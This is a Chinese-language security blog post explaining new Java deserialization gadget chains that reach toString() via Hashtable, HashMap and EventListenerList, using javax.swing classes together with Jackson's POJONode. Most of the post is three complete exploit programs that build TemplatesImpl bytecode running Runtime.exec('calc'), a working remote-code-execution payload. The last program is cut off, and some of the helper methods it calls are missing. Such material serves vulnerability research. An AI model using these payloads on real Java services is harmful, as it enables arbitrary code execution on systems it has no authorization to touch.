新Source触发ToString
前言
在上班闲的时候无意中看到的Unam4
师傅的文章,Unam4
师傅找到了触发toString
方法的不同入口,而toString
方法也是挺多反序列化Gadgets
需要用到的点,比如jackson原生反序列化
、Vaadin
反序列化链等,为此学习了一下。
HashTable
在UIDefaults
的子类TextAndMnemonicHashMap
类中,存在get
方法能够接收一个key
参数,当在HashMap
中通过get
方法取这个key
最终结果为空时,就会触发key.toString()
从而触发toString()
方法。
在AbstractMap#equals
方法中,在遍历键值对的时候,当键值对
遍历时,其中的value
为空,就会触发m.get()
方法。
反序列化最终的起点都得引向readObject
方法中,因此最终需要找readObject
能够触发equals
方法,比如说常见的hashTable#readObject
。在HashTable#readObject
中,最终会调用reconstitutionPut
方法,在这个方法中,能够通过e.key.equals
触发equals
方法。
这里需要阐述一下为什么
javax.swing.UIDefaults$TextAndMnemonicHashMap"
的键能够触发AbstractMap
的equals
方法,因为TextAndMnemonicHashMap
继承于HashMap
,HashMap
继承于AbstractMap
并且HashMap
没有实现equals
方法,最终就是找到AbstractMap
中的方法。
Gadgets如下:
HashTable#readObject()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()
以jackson
原生反序列化为例,payload如下:
package com.example.demo.demos.web;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import java.io.IOException;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import java.io.*;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jacksonserialize {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"222");
map2.put(pojoNode,"111");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,1);
map1.put(pojoNode, null);
map2.put(pojoNode, null);
byte[] result=serialize(hashtable);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}
在写这段代码的时候,遇到了loadFactor
找不到或者没有定义loadFactor
的问题,于是就去找了找这个参数的实际作用到底是什么,实际作用如下:
loadFactor
(负载因子)定义了HashMap
在自动扩容之前可以达到的填充度。它是一个介于 0 和 1 之间的浮点数,表示当HashMap
中的元素个数(容量)达到初始容量(桶数量)乘以loadFactor
时,HashMap
将进行扩容。- 那么为什么没有
loadFactor
参数就不能进行反序列化呢? - 原因是因为当反序列化要恢复序列化的内容的时候,需要
loadFactor
才能够知晓扩容的情况,准确恢复反序列化之前的状态。
HashMap
同样HashMap#readObject
触发putVal
也可以触发equals
方法,这与HashMap
触发HotSwappableTargetSource
是基本上一致的。
Gadgets如下:
HashMap#readObject()->HashMap#putVal()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()
payload如下:
package com.example.demo.demos.web;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jacksonHashMap {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templatesImpl);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"111");
map2.put(pojoNode,"222");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
HashMap hashMap = new HashMap();
hashMap.put(map1,"1");
hashMap.put(map2,"1");
setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
setHashMapValueToNull(map2, pojoNode);
byte[] result=serialize(hashMap);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
private static void setHashMapValueToNull(Map map, Object key) throws Exception {
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object node : table) {
if (node == null) continue;
Class<?> nodeClass = node.getClass();
Field keyField = nodeClass.getDeclaredField("key");
keyField.setAccessible(true);
Object k = keyField.get(node);
if (k != null && k.equals(key)) {
Field valueField = nodeClass.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(node, null);
break;
}
}
}
}
EventListenerList
1、这条链子十分玄妙,使用类拼接字符串触发toString
方法来完成链子的衔接,有点类似于PHP魔术方法
的感觉,在EventListenerList#readObject
方法中,会通过add
方法添加类到listenerList
中。
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
listenerList = NULL_ARRAY;
s.defaultReadObject();
Object listenerTypeOrNull;
while (null != (listenerTypeOrNull = s.readObject())) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
add((Class<EventListener>)Class.forName(name, true, cl), l);
}
}
2、当l
不属于t
的实例或者子类,就会触发非法的异常,并将l
与字符串拼接,这里会触发l
类的toString
方法,这里从writeObject
中可以看出,只需要控制listenerList
的值,就可以控制l
,但是这里的l
需要继承了Serializable
public synchronized <T extends EventListener> void add(Class<T> t, T l) {
if (l==null) {
return;
}
if (!t.isInstance(l)) {
throw new IllegalArgumentException("Listener " + l +
" is not of type " + t);
}
if (listenerList == NULL_ARRAY) {
listenerList = new Object[] { t, l };
} else {
int i = listenerList.length;
Object[] tmp = new Object[i+2];
System.arraycopy(listenerList, 0, tmp, 0, i);
tmp[i] = t;
tmp[i+1] = l;
listenerList = tmp;
}
}
3、在CompoundEdit#toString
方法中,edits
是Vector
类,当触发这个方法的toString
,会触发Venctor
类的toString
方法,Vector
触发父类AbstractCollection
的toString
,在AbstractCollection#toString
,会通过StringBuilder
构建字符串对象。
public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}
//父类
public String toString() {
Iterator<E> it = iterator();
if (! it.hasNext())
return "[]";
StringBuilder sb = new StringBuilder();
sb.append('[');
for (;;) {
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
if (! it.hasNext())
return sb.append(']').toString();
sb.append(',').append(' ');
}
}
4、当通过append
操作对象的时候,会触发append
方法,这里的append方法会触发ValueOf
,至此完成整个方法对象的调用。
public StringBuilder append(Object obj) {
return append(String.valueOf(obj));
}
public static String valueOf(Object obj) {
return (obj == null) ? "null" : obj.toString();
}
示例payload:
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import java.io.IOException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Vector;
public class jacksonserialize {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(pojoNode);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
byte[] result=serialize(eventListenerList);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
参考文章:jdk新入口挖掘


文章标题:新Source触发ToString
文章链接:https://www.aiwin.net.cn/index.php/archives/4420/
最后编辑:2025 年 5 月 6 日 21:01 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)